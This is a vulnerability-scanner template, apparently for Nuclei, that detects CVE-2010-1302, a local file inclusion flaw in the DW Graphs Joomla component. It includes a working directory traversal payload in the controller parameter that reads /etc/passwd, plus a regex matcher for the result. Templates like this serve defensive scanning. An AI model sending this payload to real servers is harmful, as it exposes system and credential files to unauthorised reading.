id: CVE-2010-1302

info:
  name: Joomla! Component DW Graph - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in dwgraphs.php in the DecryptWeb DW Graphs (com_dwgraphs) component 1.0 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access or information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11978
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1302
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1302
    cwe-id: CWE-22
    epss-score: 0.01204
    epss-percentile: 0.84918
    cpe: cpe:2.3:a:decryptweb:com_dwgraphs:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: decryptweb
    product: com_dwgraphs
  tags: cve,cve2010,edb,joomla,lfi,graph,decryptweb

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_dwgraphs&controller=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008d6f9ab7bce4772846f662561ffb663e19407fdbfdf4f08e9540482deb588b1b0220343ad9509c8d7f73a04b33f13a3c82cf79fb3af0f438960de15322dada078785:922c64590222798bb761d5b6d8e72950